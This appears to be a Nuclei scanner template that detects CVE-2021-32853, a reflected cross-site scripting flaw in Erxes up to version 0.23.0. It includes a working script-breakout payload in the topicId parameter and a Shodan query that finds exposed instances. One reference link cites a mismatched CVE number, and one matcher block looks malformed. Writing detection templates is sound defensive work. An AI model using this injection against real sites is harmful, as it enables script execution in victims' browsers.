id: CVE-2021-32853
info:
name: Erxes <= v0.23.0 XSS
author: dwisiswant0
severity: medium
description: Erxes prior to version 0.23.0 is vulnerable to cross-site scripting.The value of topicID parameter is not escaped & triggered in the enclosing script tag.
reference:
- https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
- https://nvd.nist.gov/vuln/detail/CVE-2021-3285
metadata:
shodan-query: http.title:"erxes"
classification:
cve-id: CVE-2021-32853
tags: cve,cve2021,xss,erxes,oss
requests:
- method: GET
path:
- "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'topic_id: "</script><script>alert(document.domain)</script>'
- "window.erxesEnv"
condition: and
part: header
- text/html
- type: status
status:
- 200
